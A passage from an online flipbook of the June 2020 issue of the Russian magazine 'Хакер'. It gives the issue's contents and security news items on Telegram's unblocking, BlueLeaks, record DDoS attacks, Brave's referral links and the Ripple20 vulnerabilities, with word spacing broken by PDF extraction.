The words you are searching are inside this book. To get more targeted content, please make full-text search by clicking here.
Discover the best professional documents and content resources in AnyFlip Document Base.
Search
Published by skhakhlov, 2020-08-05 13:47:05

Hakr06_2020

Hakr06_2020

ПОДПИСКА НА «ХАКЕР»

Мы благодарим всех, кто поддерживает
редакцию и помогает нам компенсировать
авторам и редакторам их труд. Без вас
«Хакер» не мог бы существовать, и каждый
новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:
год доступа ко всем материалам, уже
опубликованным на Xakep.ru;
год доступа к новым статьям, которые
выходят по будням;
полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
можно использовать для продления
годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится,
спеши исправить это!

CONTENTS№ 255Июнь2020

MEGANews
Всё новое за последний месяц

Android
Архитектура Fuchsia и тяжеловесные вычисления в UI-потоке

Практика разбитых окон
Как устроена система безопасности Windows и как ее обходят

Как устроена память Hyper-V
EXO-разделы и виртуальные машины сторонних производителей

Путеводитель по Metasploit
Разбираем примеры использования знаменитого фреймворка

Утиные истории
Делаем свой аналог Rubber Ducky с беспроводной связью

Такие дела
Как и за что судили российских хакеров в 2019 году

Фундаментальные основы хакерства
Какие бывают виртуальные функции и как их искать

Пингвин-супершпион
Используем виртуалку с Linux для постэксплуатации Windows

Виртуальный полигон
Делаем лабораторию сетевого хакера

Голые диски
Смотрим, что внутри у внешних накопителей WD и Seagate

Ноутбук своими руками
Выбираем комплектующие и собираем производительный лэптоп

Тотальный микроконтроль
Какие бывают микроконтроллеры и как выбрать подходящий

Погружение в ассемблер
Делаем первые шаги в освоении асма

Nftables
Как выглядит будущее настройки файрвола в Linux

Стена огня lvl2
Настраиваем файрвол для отражения атак на примере MikroTik

RISC без риска
Ставим RISC OS на Raspberry Pi, чтобы прикоснуться к истории

GNU GuixSD
Знакомимся с операционкой нового поколения

Титры
Кто делает этот журнал

Мария «Mifrill» Нефёдова
[email protected]

 

TELEGRAM
РАЗБЛОКИРОВАЛИ

18  июня  2020  года  Роск  омнадз  ор  неожид  анн  о  сообщ  ил,  что  ведомс тво
положит  ельн  о  оцен  ивае  т  ранее  выказан ную  Павл  ом  Дуровым  готов ность
про тиво дейс  тво вать терр  ориз му и экст  рем  изм  у в Telegram. В ито ге огра ниче‐ 
ния  дос тупа  к  месс  ен дже ру,  дейс  тво вав шие  с  весн  ы  2018  года,  были  сня ты
по  сог ласова нию  с  Генеральн  ой  прок  ура турой  РФ,  а  реестр  зап рещен ных
сайт  ов за один день «похудел» до 30 тысяч IP‐адрес  ов (с 676 тысяч адре сов).

Зам гла вы  Мин ком свя зи  РФ  Алекс  ей  Волин  заявил,  что  дан ное  решение
было прин  ято Роск  омнад зором и прок  урат  урой, пос коль ку в наст  оящее вре‐ 
мя нет техн  ичес кой воз можност  и бло киро вать Telegram, а такж  е в свя зи с тем,
что  пред ста вите ли  месс  ен джер  а  «начали  активно  сот руднич  ать  по  борьб  е
с тер рориз мом и нар комани ей в сво ей сред  е».

Нап  омн  ю,  что  недав но  на  расс  мот рение  в  Госд  уму  был  внес  ен  законоп‐ 
роект о раз бло киров ке Telegram. Его в кон це апре ля 2020 года под готовил  и
депутат  ы  Госд  умы  от  «Справ  едл  ивой  Росс  ии»  Федот  Тумусов  и  Дмит рий
Ионин. По их мне нию, безусп  ешные попыт ки блок  иро вать месс  енд  жер лишь
«наносил  и урон прест  ижу государс твенн  ой влас ти».

В  целом  эта  идея  возн  икла  из‐за  того,  что  в  наст  оящее  врем  я  Telegram,
по  сути,  оказ  ал ся  «офиц  иальн  ым  сер висом»  госор ганов,  через  который  они
расп  ростран  яют  информац  ию  о  корона вирус  е  (речь  идет  об  офи циаль ном
канале опер штаб  а Моск  вы и офи циальн  ом канале Стоп корона вирус.рф).

В  ответ  на  эту  иниц  иатив  у  Павел  Дуров  писал,  что  «при  полн  ом  сох‐ 
ранении  тай ны  перепис ки  в  рам ках  полити ки  конф  иденц  иаль ност  и  Telegram
были раз работа ны механиз мы, которые позв  оля ют пре дот вра щать тер рорис‐ 
тическ  ие акты по всем  у миру». Так же он под черки вал, что борьб  а с тер рориз‐ 
мом  и  пра во  на  тай ну  личн  ой  переписк  и  вовс  е  не  исклю чают  друг  друг  а.
И  именн  о  на  этот  пост  в  ито ге  сосл  ались  пред ста вите ли  Роск  омнадз  ора
при разб  ло киров ке.

Пав  ел  Дуров  снач  ала  про комм  енти ровал  разб  лок  ировк  у  мес сен джер  а
в сво ем русс  ко языч ном Telegram‐канале, где побл  агодар  ил всех поль зовате‐ 
лей за под дер жку и пообе щал, что пра во на кон фиденц  иальн  ость и тайн  у лич‐ 
ной  переписк  и  оста нет ся  фунд  амент  аль ным  принц  ипом  Telegram  во  всех
стра нах.  Такж  е  Дуров  заверил,  что  теперь  долж  ны  вырас ти  ста бильн  ость
и  ско рость  работы  Telegram,  а  такж  е  выразил  надежд  у,  что  раз бло киров ка
стан  ет хорошим сигн  алом для IT‐пред при нима телей и инвесто ров.

Зат  ем  комм  ентар  ий  появил ся  и  в  англоя  зыч ном  Telegram‐канале  Дурова,
он тоже пос вящен снят  ию бло киров ки с месс  енд  жер  а, но сущест  вен но отли‐ 
чает ся от рус ско язычн  ого. В нем Павел Дуров пишет:

«В апрел  е 2018 года росс  ийс  кий регулят  ор Рос комнад зор заб локиро- 
вал  Telegram  на  тер ритории  стран  ы.  Мы  знал  и,  что  это  про изой дет,
и  к  началу  бло киров  ок  уже  обнов  или  прил  ожен  ия  Telegram,  добавив

‑подд  ерж  ку  ротаци онных  прокс  и серв  еров,  спос  обов  сокр  ытия  тра- 

фика  и  друг их  инст  ру мент  ов  борь бы  с  ценз  урой.  К  нам  прис  оеди- 
нились  тысячи  рос сий ских  инжен  еров,  которые  соз дали  собс твен ные
прокс  и  для  поль зовате лей  Telegram,  сформ  ировав  децент  рал  изо ван- 
ное движ  ение под наз вани ем „Циф ровое соп ротив ление“.

Пер вая неделя бана была непр  остой, и у мног их наших поль зовате- 
лей в Рос сии воз никали пробл  емы с соедин  ени ем. Пытая  сь не допус- 
тить  поль зовател  ей  в  Telegram,  Роск  омнад зор  заб локиров  ал  мил- 
лионы  IP-адрес  ов.  Одна ко  благ одар  я  „Циф ровому  сопр  отив лению“
посл  е мая 2018 года Telegram стал широкод  ост  упен в Рос сии.

В  результ  ате  чис ло  польз  овате лей  Telegram  в  Росс  ии  не  умень- 
шилось,  факт  ичес ки  оно  удво илось  с  2018  года.  В  мае  2020  года
из  400  мил лионов  ежем  есяч но  активных  польз  овател  ей  Telegram
не  менее  30  милл  ионов  были  из  Росс  ии.  Это  знач  ит,  что  наш  рост
в  Рос сии  соот ветст  вуе  т  рост  у  в  дру гих  стран  ах.  Прощ  е  говоря,  бан
не сраб  отал.

На  прошл  ой  неделе  Роск  омнадз  ор,  у  которо го  два  месяца  назад
появил ся новый глав  а, решил соот ветс тво вать дей стви тельн  ост  и, объ- 
явив, что Telegram в Рос сии более не бло кируе  тся. В свое  м заявл  ении
они сосл  ались на мое сообщ  ение от 4 июня, где я объя  снил, почему
зап рет не имее  т осо бого смыс ла.

Эти переме ны сле дует поп риветст  вов  ать, и я надею  сь, они прод  ол- 
жатся.  Если  же  нет,  то  мы  наде емся,  что  мало  кто  из  поль зовате лей
заметит раз ницу.

В  течение  посл  едних  двух  лет  нам  при ходи лось  регуляр но
обновлять нашу „раз блок  ирую  щую“ техн  ологию, чтоб  ы опер  ежать цен- 
зоров. Я гор жусь тем, чего мы дос тигли, — она [тех нология] уник  альн  а
сред  и прил  ожен  ий соци аль ных медиа.

Мы не хотим, что бы эта тех нология зар жавела и уста рела. Поэто му
мы решили напр  авить наши про тиво ценз  урные ресурс  ы в дру гие мес- 
та, где Telegram до сих пор запр  ещен пра вительс  тва ми, в такие стра- 
ны,  как  Иран  и  Китай.  Мы  прос  им  админ  ис тра торов  быв ших  прок- 

‑си серв  еров  для  росс  ийс  ких  польз  овател  ей  скон цент  рир  овать  свои

усил  ия  на  этих  стран  ах.  Такж  е  им  сле дует  быть  готовы ми  к  новым
вызовам:  по  мере  того  как  полити ческ  ая  ситу ация  в  мире  стан  овитс  я
все  более  неп редс  ка зуемой,  все  больш  е  пра вительс  тв  могут
попытать ся  бло киров  ать  орие  нтир  ованн  ые  на  кон фиденц  иальн  ость
при ложе ния, такие как Telegram.

Движ  ение  „Циф ровое  сопр  отив ление“  не  закон чилось  на  прош лой
неделе  пос ле  прекр  ащения  огня  в  Росс  ии.  Оно  тольк  о  начинае  тся
и стан  овит ся гло баль ным».

50 000 ДОЛЛАРОВ ЗА БАГИ В PLAYSTATION

Sony  запус тила  офиц  иаль ную  прогр  амму  bug  bounty  для  PlayStation  Network  и  игров  ых  кон‐ 

солей  PlayStation  4.  Ком пания  сооб щает,  что  готова  вып лачивать  ИБ‐эксперт  ам  от  100
до 50 000 дол ларов (и даже больш  е) за уяз вимос ти в сво их про дук тах. Проб лемы пред лага‐ 
ется  искать  в  самих  игро вых  кон солях  PlayStation 4,  их  операционной системе,  офи‐ 
циаль ных аксессуарах, а такж  е в PlayStation Network и на соот ветст  вую  щих сайтах.

Хо тя Sony решилась учред  ить bug bounty пос ледней из круп ных игро вых ком паний, она пред‐ 
лага ет  самые  боль шие  возн  агражд  ения  за  баги.  Так,  Microsoft  и  Nintendo  обещ  ают  за  уяз‐ 

вимост  и не более 20 000 долларов.

«ПОЛИЦЕЙСКАЯ»
УТЕЧКА

В  кон це  июня  групп  а  акти вист  ов  DDoSecrets  (Distributed  Denial  of  Secrets),
опи сыва ющая себя как «борц  ов за проз рачность», опуб ликова ла в открыт  ом
дос тупе  269  Гбайт  данн  ых,  прин  ад лежащих  пра воох ранитель ным  орга нам
и цен трам обра бот ки информац  ии в США.

Цен тры  обра бот ки  информац  ии  (Fusion  Center)  обычн  о  выс тупа ют  в  роли
поср  едник  ов и коор динацио  нных цент  ров межд  у пра воохр  анитель ными орга‐ 
нами  на  уровн  е  шта тов,  мес тны ми  орган  ами  власт  и  и  федеральн  ыми  орга‐ 
нами  США.  Такие  цен тры  учас твую  т  в  подг  отов ке  офиц  еров,  переда ют  мес‐ 
тным  полицей ским  федеральн  ые  пред  уп режден  ия,  руководст  ва  и  разл  ичные
инс трук ции от цент  ральн  ого прав  итель ства и наобо рот.

INFO

DDoSecrets  неред ко  называю  т  ана логом  Wik‐
iLeaks,  так  как  пре дыду щие  «слив  ы»  актив  ис тов
разоб лачали  круп ные  пра вительс  твен ные  и  кор‐ 
рупци онные  скан далы  по  все му  миру,  а  сама
DDoSecrets регуляр но упо мина ется на стран  ицах
таких круп ных изда ний, как New York Times, CNN,
The Daily Beast.

Об народо ванн  ый  дамп  получил  общее  наз вание  BlueLeaks,  и  он  содерж  ит
более мил лиона файл  ов, вклю чая скан  ы документ  ов, видео  ро лики, элек трон‐ 
ные пись ма, ауди офайл  ы. Пред став  ите ли DDoSecrets утвер жда ют, что данн  ые
были «любез но пред  ост  авлен  ы» им хакт  ивист  ами из Anonymous.

Фай лы  из  дамп  а  при надл  ежат  200  раз личным  полицейс  ким  управле ниям
и цент  рам обраб  от ки информа ции в США: отче ты полиции и ФБР, бюл летени
безопас ности,  руководст  ва  для  прав  оохр  анительн  ых  орга нов  прим  ер но
за десять лет.

Больш  инс тво опубл  икован ных файл  ов имею  т помет ку Netsential.com Inc —
это  назв  ание  хост  инго вой  комп  ании,  базиру ющейс  я  в  Техасе,  которая,
похоже,  была  взло мана.  В  сво ем  бло ге  извес тный  ИБ‐жур налист  Брай ан
Кребс сооб щил, что Наци ональн  ая ассоц  иация цент  ров обра бот ки информа‐ 
ции  США  (National  Fusion  Center  Association,  NFCA)  уже  подт  верд  ила  под‐ 
линность этой утечк  и, разос лав сво им чле нам внут реннее опо веще ние.

По  информа ции  NFCA,  пред варительн  ый  ана лиз  показал,  что  опуб‐ 
ликованн  ые в открыт  ом дост  упе данн  ые дейс  твит  ель но взя ты с серв  еров ком‐ 
пании  Netsential,  которая  пре дост  авля ет  услу ги  хос тинга  прав  оох ранитель‐ 
ным орга нам и цен трам обра бот ки информац  ии.

Этот  слив  счит  ают  самым  больш  им  взло мом  в  исто рии  прав  оох ранительн  ых
орган  ов  США,  так  как  он  раск  ры вает  сек ретные  матери алы  за  десять  лет,
в  том  числ  е  о  том,  как  полиция  США  обуч  ала  перс  онал  и  про водил  а  опе‐ 
рации.

Хо тя  фай лы  BlueLeaks  дост  упны  на  собст  вен ном  сайт  е  DDoSecrets,  пуб‐ 
ликацию  дам па  такж  е  анон сирова ли  и  активно  рекл  амиро вали  через  Twitter.
В  ито ге  Twitter  забл  окиров  ал  учет ную  запись  DDoSecrets  из‐за  наруше ния
прав  ил:  за  рас простран  ение  дан ных,  получен ных  незакон ным  путем  (то  есть
при  помощи  взло ма)  и  содер жащих  личн  ую  информа цию,  которая  может
использ  овать ся  для  прич  ине ния  физичес кого  вре да  или  содер жит  ком‐ 
мерческ  ую тай ну.

В  интервью  издан  ию  Wired  руковод  итель  DDoSecrets  жур налист  ка  Эмма
Бест  расс  ка зала,  что  актив  ис ты  все ми  силами  ста рались  избеж  ать  пуб‐ 
ликации  любой  кон фиден циаль ной  информа ции.  Так,  команд  а  пот ратила
неделю  на  очист  ку  файл  ов  от  «особ  о  деликат ных  данн  ых  о  жерт  вах  прес‐ 
тупле ний  и  детях,  а  такж  е  от  информа ции  о  час тных  пред прия  тиях,  учрежде‐ 
ниях здра воох ранения и ассоц  иациях ветеран  ов». Одна ко Бест приз нала, что
они мог ли что‐то про пус тить.

Предс  тав  ител  и  Twitter  сооб щили  СМИ,  что  сред  и  данн  ых  BlueLeaks  дей‐ 
стви тельн  о  была  неот редакт  ированн  ая  информац  ия,  которая  мог ла  под‐ 
вергать рис ку конк  рет ных людей. Такж  е в комп  ании подч  ерк  ну ли, что прав  ила
плат формы  стро го  зап рещаю  т  рас простра нение  любых  подоб ных  матери‐ 
алов.

Со циальн  ая  сеть  подв  ер глась  кри тике  из‐за  дан ного  решения.  Мног  ие
поль зовате ли  указ  ывал  и  на  оче видн  ое  несоо  тветс твие:  раньш  е  Twitter
месяца ми  и  даже  годами  ничего  не  пред при нимал  а  для  блок  иров ки  учет ных
записей  извес тных  хакер ских  групп,  таких  как  Guccifer  2.0  или  TheDarkOver‐
lord.  К  тому  же  дру гие  аккау  нты,  такие  как  WikiLeaks  и  мног  очисл  енные  ано‐ 
нимы,  давн  о  рас простра няют  дан ные,  получен ные  в  результ  ате  взло мов,
однак  о эти учет ные записи активны по сей день.

Дамп BlueLeaks по‐преж нему дос тупен на сайт  е DDoSecrets, одна ко поль‐ 
зовател  и  больш  е  не  могут  делитьс  я  ссыл ками  на  него  в  Twitter:  социа  ль ная
сеть запр  етила не толь ко учет ную запись DDoSecrets, но и URL‐адрес сайт  а
акти вис тов.

DDOS‐РЕКОРДЫ

В июне 2020 года стал  о извес тно сра зу о неск  ольк  их мас штаб ных DDoS‐ата ках, которые обно‐ 
вили пред  ыдущ  ие рекорд  ы в этой области.

В  фев рале  текущег  о  года  сер вис  AWS  Shield  отра зил  самую  крупн  ую  DDoS‐ата ку  в  истор  ии,

дос тигав шую мощн  ости 2,3 Тбайт/с. Неизв  ест  но, прот  ив какого кли ента AWS была пред при‐ 

нята столь мощн  ая ата ка.

DDoS  был  орган  изо ван  с  использ  ование  м  взлом  анн  ых  веб‐серв  еров  CLDAP.  Урег  ули рова ние
инцид  ент  а заняло у сотр  удни ков AWS Shield 3 дня.

Прошл  ый рекорд в этой области был уста нов лен в 2018 году, тог да заф  икс  ирова ли DDoS‐ата ку
мощн  остью 1,7 Тбайт/с.

Сле дом за Amazon о мощн  ой DDoS‐атак  е рас ска зали и спец  иалист  ы Akamai: 21 июня 2020 года
круп ный  евро пейс  кий  банк  (назв  ание  не  раск  рыв  аетс  я)  стал  мишенью  для  одной  из  мощн  ей‐ 

ших  DDoS‐атак  в  исто рии.  Хотя  мощ ность  ата ки  сост  авила  лишь  418  Гбит/с,  эксперт  ы  фик‐ 
сировал  и до 809 000 000 пакетов в секун ду.

Ин цидент  длил ся  недол го  (око ло  10  минут),  но  ата ка  «разогн  алась»  до  опас ной  мощн  ости

очень быс тро. Потр  ебовал  ось лишь неск  оль ко секунд, что бы нор маль ный уров  ень траф  ика под‐ 

нялся  до  418  Гбит/с,  и  окол  о  2  минут,  что бы  атак  а  дос тигла  пика  в  809  000  000  пакетов

в секунд  у.

ДАННЫЕ
DANIEL’S HOSTING

Хак  ер,  скрыв  ающий ся  под  псевд  онимом  KingNull,  слил  в  откры тый  дос туп
базу одно го из круп ней ших хос тингов в дар кнет  е — Daniel’s Hosting (DH).

На помн  ю, что вес ной текуще го года DH подв  ерг  ся взлом  у. Тогд  а неиз вес‐ 
тные зло умышл  енни ки получи ли дос туп к бэкенд  у DH и удал  или все свя занн  ые
с  хос тингом  базы  дан ных,  а  такж  е  учет ную  запись  влад  ельц  а.  Раз работ чик
хос тинга  Дэни ел  Вин зен  (Daniel  Winzen)  рас сказ  ал  в  бло ге,  что  обна ружил
взлом  слишк  ом  позд  но,  когд  а  спа сать  что‐либо  уже  было  бесп  олезн  о.  Дело
в том, что DH намерен но не имел никаких резер вных копий.

В ито ге Винз  ен закр  ыл свой хос тинг и приз вал польз  овател  ей перенос  ить
свои  сай ты  в  дру гие  мес та.  Посл  е  закр  ытия  DH  в  общей  слож ности  око‐ 
ло 7600 сай тов (при мерн  о треть всех onion‐ресурс  ов) ушли в офлайн.

При этом раз работ чик увер  ял, что в целом хотел бы перезап  ус тить сер вис
с  новыми  фун кция  ми  и  улуч шения  ми,  чтоб  ы  боль ше  не  прих  оди лось  тра тить
все  сво бод ное  врем  я  на  адми нист  ри рова ние.  Одна ко  пре дуп реждал,  что
это вряд ли про изой дет в ближ  ай шие месяцы.

Как  выясн  яет ся  теперь,  в  март  е  2020  года  базы  DH  были  не  толь ко  уда‐ 
лены,  но  и  похище ны.  Нект  о  под  ником  KingNull  загр  узил  копию  украд  ен ной
БД в фай лооб менник и уве домил об этом журн  алис тов издан  ия ZDNet.

Суд  я по бег лому анал  изу дамп  а, утеч ка вклю чает 3671 адрес элект  рон ной
поч ты,  7205  паролей  от  учет ных  записей  и  8580  прив  ат ных  клю чей
для доменов .onion.

Спец  иалист  ы  ком пании  Under  the  Breach,  которые  помога ли  жур налист  ам
иссле довать  данн  ые,  под твержда ют,  что  опуб ликован ный  дамп  содер жит
информа цию о влад  ель цах и поль зовател  ях нес коль ких тысяч доменов в дар‐ 
кне те. По сло вам исслед  оват  елей, благ  одар  я этой базе мож но свя зать email‐
адрес  а из базы с конк  рет ными дар кнет‐сай тами.

«Эта  информац  ия  может  очень  помочь  прав  оохр  анительн  ым  орган  ам
отслед  ить  лиц,  которые  управля ют  эти ми  сай тами  или  участ  вую  т
в  незаконн  ой  деятельн  ост  и  на  этих  ресур сах»,  —  заявл  яют  в  Under
the Breach.

Бо лее  того,  если  влад  ель цы  сайт  ов  перенесл  и  свои  ресурс  ы  на  друг  ой  хос‐ 
тинг,  но  про дол жили  использ  овать  ста рые  пароли,  хакеры  могут  зах ватить
новые учет ные записи (если взлом  ают утекш  ие у DH хеширов  ан ные пароли).

НОВОЕ ОБВИНЕНИЕ ПРОТИВ ОСНОВАТЕЛЯ WIKILEAKS

Ми нист  ерст  во  юсти ции  США  опубл  иковал  о  новый  обвин  итель ный  акт,  нап равлен ный  прот  ив
основ  ате ля  WikiLeaks  Джу лиана  Ассанжа.  Документ  не  добавл  яет  новых  обвин  ений  к  18  пун‐ 
ктам,  уже  выд винутым  США  в  мае  2019  года,  однак  о  прол  ива ет  свет  на  новые  детали  пред‐ 
полага емых прес туплен  ий Ассанжа и расш  иря ет изна чаль ные обви нения таким образ  ом, чтоб  ы
их мож но было перекл  ассиф  ици ровать на более серь езные.

→ «В  2012  году  Ассанж  вступ  ил  в  пря мой  конт  акт  с  лидером  хакерс  кой  групп  ы  LulzSec
(который  к  тому  врем  ени  сотр  уднич  ал  с  ФБР)  и  пред  ост  авил  ему  спи сок  целей  для  взлом  а.
Для одной из целей Ассанж попр  осил лидера LulzSec просм  отреть [чужую] поч ту и докумен ты,
базы данн  ых и PDF‐файл  ы (и пре дост  авить их WikiLeaks).

В  дру гом  разг  оворе  Ассанж  ска зал  лидеру  LulzSec,  что  наиболь ший  резонанс  прин  есет
выпуск материа  лов, похищен ных поср  едст  вом взло ма у ЦРУ, АНБ или New York Times.
[В ито ге] WikiLeaks получи ла и опуб ликова ла элек тронн  ые письм  а амер  икан ской анал  итич  еск  ой
кон салтин говой  ком пании,  полученн  ые  в  результ  ате  взло ма  и  утечк  и  дан ных,  совер шенных
Anonymous  и  аффил  иро ван ным  с  групп  ой  LulzSec  хакером.  По  сло вам  это го  хакера,  позж  е
Ассанж кос венно про сил его сно ва засп  амить эту пост  рад  ав шую ком панию».
— из текс  та обви нитель ного акта

РЕФЕРАЛЫ В BRAVE

Поль зовате ли  замети ли  странн  ость  в  поведен  ии  ори енти рован ного  на  кон‐ 
фиденц  иаль ность  бра узе ра  Brave:  автоз  аполн  ение  подс  тавл  яло  в  стро ку
адре са реферальн  ые ссыл ки.

Перв  ым  на  странн  ое  поведе ние  бра узе ра  обра тил  вни мание  поль‐ 
зователь  Twitter  Янник  Экл  (Yannick  Eckl).  Оказ  алось,  что,  если  поль зователь
набира ет  в  Brave  адрес  крипт  овалют ной  бирж  и  Binance  (binance.us  или  bi‐
nance.com),  сра батыв  ает  автоз  апол нение,  которое  вклю чено  по  умол чанию,
и  в  адресной  стро ке  появ ляет ся  пар тнерская  ссылк  а  binance.us/en?
ref=35089877.

Как  выясн  илось,  эта  ссыл ка  связ  ана  с  недавн  о  закл  ючен ным  парт  нерским
согл  ашение  м  меж ду  Brave  и  Binance.  Так,  в  мар те  текуще го  года  комп  ании
предс  тав  или  спе циальн  ый  видж  ет  для  бра узе ра,  созд  анный  для  тех,  кто
работа ет с бирж  ей и торг  ует крип товалю той. Этот вид жет при носит разр  абот‐ 
чикам  брау  зер  а  приб  ыль  бла года ря  прив лечению  новых  поль зовате лей
и пар тнерской прогр  амме бир жи.

Гла ва  Brave  Брен дан  Эйх  изви нил ся  за  про изо шед шее  в  сво ем  твит тере.
Он объя  снил, что рефераль ная ссыл ка появил  ась в адресной строк  е случ  ай‐ 
но. Brave дол жен исполь зовать рефераль ные ссылк  и для поль зовател  ей лишь
при  работе  с  упо мянут  ым  видж  етом,  на  спе циальн  ой  вкладк  е,  а  обыч ное
авто запол нение, конеч но, не дол жно было содерж  ать подобн  ых кодов.

Одн  ако  дру гие  польз  овате ли  Twitter  не  сог ласились  с  тем,  что  разр  абот‐ 
чики  Brave  прост  о  допус тили  ошиб ку.  Даль нейшее  исслед  ован  ие  репози‐ 
тория  Brave  на  GitHub  показа ло,  что  бра узер  так же  содер жит  реферальн  ые
ссыл ки для URL‐адрес  ов Ledger, Trezor и Coinbase. И от таких пар тнерств бра‐ 
узер тоже получа ет при быль.

В  наст  оящее  врем  я  разр  абот чики  Brave  уже  отклю чили  авто запол нение
по  умол чанию,  однак  о  Эйх  отмеч  ает,  что  в  целом  нет  ничего  плох  ого
в исполь зовании рефераль ных прогр  амм и попыт ках пост  ро ить жизн  еспос  об‐ 
ный  бизн  ес.  По  его  слов  ам,  парт  нерская  ссыл ка  не  дол жна  была  попадать
в  авто запол нение  адресной  строк  и,  но  вот  поиск  овые  зап росы  —  это  уже
совс  ем дру гой раз говор.

129 УЯЗВИМОСТЕЙ

«Вторн  ик обновле ний» в этом месяце стал самым крупн  ым за всю исто рию ком пании Microsoft:

было  исправ лено  сра зу  129  пробл  ем.  На  втор  ом  мест  е  находит ся  март  2020  года  со  115
исправл  ени ями, а на треть ем — 113  исправл  ений  в  апре ле  2020  года.  Таким  обра зом,  общее
количес тво исправ лений, выпущен ных ком пани ей в этом году, уже сос тавля ет 616, и это почт  и

столь ко же, скольк  о за весь 2017 год.

Из всех 129 уяз вимос тей лишь 11 получил  и ста тус кри тичес ких (они затр  агива ют саму Windows,
брау  зе ры Edge и Internet Explorer, а так же SharePoint). Еще 109 пробл  ем оце нива ются как важ‐ 

ные  (они  затр  онули  Windows,  бра узер  ы  ком пании,  Office,  Windows  Defender,  Dynamics,  Visual
Studio, Azure DevOps и Android‐при ложен  ия).

УЯЗВИМОСТИ
RIPPLE20

Спе циалис ты  изра ильс  кой  комп  ании  JSOF  обна ружил  и  19  уязв  имост  ей
в  неболь шой  библ  иоте ке,  которая  была  соз дана  еще  в  девянос тых  годах
и все это врем  я активно использ  овалась во мно жес тве разл  ичных про дукт  ов.

В ито ге под угро зой оказ  ались сот ни мил лионов устрой ств, включ  ая прин‐ 
теры,  марш  ру тизат  оры,  раз личные  решения  для  умног  о  дома,  элект  рос  ете‐ 
вое,  медицин ское  и  пром  ышл  енное  обор  удо вание,  тран спортные  сис темы,
обо рудо вание  для  мобильн  ой  и  спут никовой  свя зи,  дата‐цент  ры  и  мно гое,
мно гое дру гое.

→Продолжение статьи

←  Начало статьи

Ху же  того,  уязв  имос ти  в  больш  инс тве  прод  укт  ов  вряд  ли  будут  ког да‐либо
исправл  ены  из‐за  слож ных  или  непр  озрач ных  цепочек  пост  авок  ПО.  Дело
в  том,  что  проб лемная  библ  иотек  а  не  тольк  о  исполь зовалась  пос тавщи ками
обо рудо вания, но и интегри рова лась в дру гие прогр  амм  ные пакеты. А знач  ит,
мно гие ком пании даже не подозр  еваю  т, что использ  уют этот кон крет ный код,
ведь биб лиотек  а час то вооб ще не упо минае  тся в манифест  ах.

Най ден ные  экспер тами  пробл  емы  получил  и  общее  назв  ание  Ripple20
и  были  найд  ены  в  неболь шой  библ  иотек  е,  разр  аботан ной  комп  ани ей  Treck.
Выпущен ная еще в 1997 году, эта библ  иоте ка пред ставл  яет собой облегчен‐ 
ную  имплем  ен тацию  сте ка  TCP/IP.  Комп  ании  десяти летия  ми  исполь зовали
это решение, что бы их устройс  тва или софт могл  и под ключ  атьс  я к интернет  у
через TCP/IP.

Эк спер ты  JSOF  решили  изуч  ить  стек  Treck  из‐за  его  масс  ового  при сутс‐ 
твия  на  рынк  е  про мыш ленных,  медицин ских  и  умных  устройс  тв.  В  итог  е,
как ска зано выше, были обнар  уже ны 19 раз личных уязв  имос тей, над исправ‐ 
ление  м которых JSOF уже мног  о месяцев работае  т вмест  е со спе циалис тами
CERT.

Пред ста вител  и Treck, снач  ала решивш  ие, что столк  ну лись с мошен никами
и вымогат  ель ством, осозн  али свою ошиб ку и тоже подк  люч  ились к делу. Сей‐ 
час исправл  ения дост  упны для всех уязв  имос тей Ripple20. Но, увы, анал  ити ки
JSOF  пишут,  что  работа  еще  далека  от  завер шения  и  мног  ие  уязв  имые
устрой ства еще пред сто ит выявить.

К счастью, не все уяз вимос ти Ripple20 кри тичес кие, хотя некотор  ые из них
все же весьм  а опасн  ы и поз воляю  т зло умыш ленник  ам удал  ен но захв  атывать
кон троль над уязв  имыми сист  емами. Так, Минис терс тво внут ренней безопас‐ 
ности  США  присв  оило  рейт  инг  10  и  9,8  по  десятиб  алльн  ой  шка ле
CVSSv3 четырем из уяз вимос тей Ripple20:
• CVE‐2020‐11896  (CVSSv3  —  10):  допуск  ает  уда ленн  ое  выполн  ение  про‐ 

изволь ного кода;
• CVE‐2020‐11897 (CVSSv3 — 10): допус кает запись out‐of‐bounds;
• CVE‐2020‐11898 (CVSSv3 — 9,8): может при вест  и к раск  ры тию конф  иден‐ 

циаль ной информац  ии;
• CVE‐2020‐11899 (CVSSv3 — 9,8): может прив  ес ти к рас кры тию кон фиден‐ 

циаль ной информа ции.
Че тыре  эти  пробл  емы  могут  поз волить  зло умыш ленни кам  лег ко  зах ватить
кон троль над умным  и устройс  твам  и или про мыш ленным и медицин ским обо‐ 
рудо вани ем. Атак  и воз можны как через интернет, так и из локаль ных сетей.

Исс  лед  оват  ели полагаю  т, что гряд  ущее вли яние проб лем Ripple20 мож но
сравн  ить  с  дру гим  «набором»  уяз вимост  ей  —  Urgent/11,  информа ция
о которых была обна родов  ана летом 2019 года. Те проб лемы до сих пор изу‐ 
чают ся, и экспер ты пос тоянн  о обна ружив  ают все новые уязв  имые устрой ства.

Это сравн  ение несл  учай но, так как уяз вимос ти Urgent/11 каса ются работы
сте ка  TCP/IP  (IPnet),  который  использ  ует ся  в  опер  ацио  нной  сис теме  реаль‐ 
ного врем  ени (RTOS) VxWorks, а такж  е OSE от ENEA, Integrity от Green Hills, Mi‐
crosoft ThreadX, ITRON от TRON Forum, Mentor Nucleus RTOS и ZebOS.

ГЕЙМЕРЫ ПОД УДАРОМ

Ис след  оват  ели «Лабора тории Касп  ерс  ко го» прис таль но изу чили прои  схо дящие вокр  уг переме‐ 
ны, свя зан ные с циф ровой безопас ностью и панд  еми ей коронав  иру са. В част  нос ти, панд  емия
прив  ела к рез кому рос ту активнос ти игро ков, и это не ускольз  нул  о от вним  ания хакеров.

По дан ным gamesindustry.biz, в март  е 2020 года знач  ительн  о выросл  и про дажи игр, как компь‐ 
ютер ных, так и кон соль ных.

Такж  е в апрел  е 2020 года дос тигло невиданн  ых величин количес тво активных игрок  ов на плат‐ 
форме Steam, оно вперв  ые в истор  ии прев зошло 24,5 мил лиона человек.

Ко личес тво  ежедн  евных  попыток  переход  ов  на  зараженн  ые  сайт  ы,  эксп  луа  ти рующие  игро вую

темати ку, вырос ло на 54% по сравн  ению с янва рем текуще го года.

Возр  осло  и  количест  во  заб локиров  анн  ых  переход  ов  на  фишин говые  сай ты,  экс плуа  тир  ующие

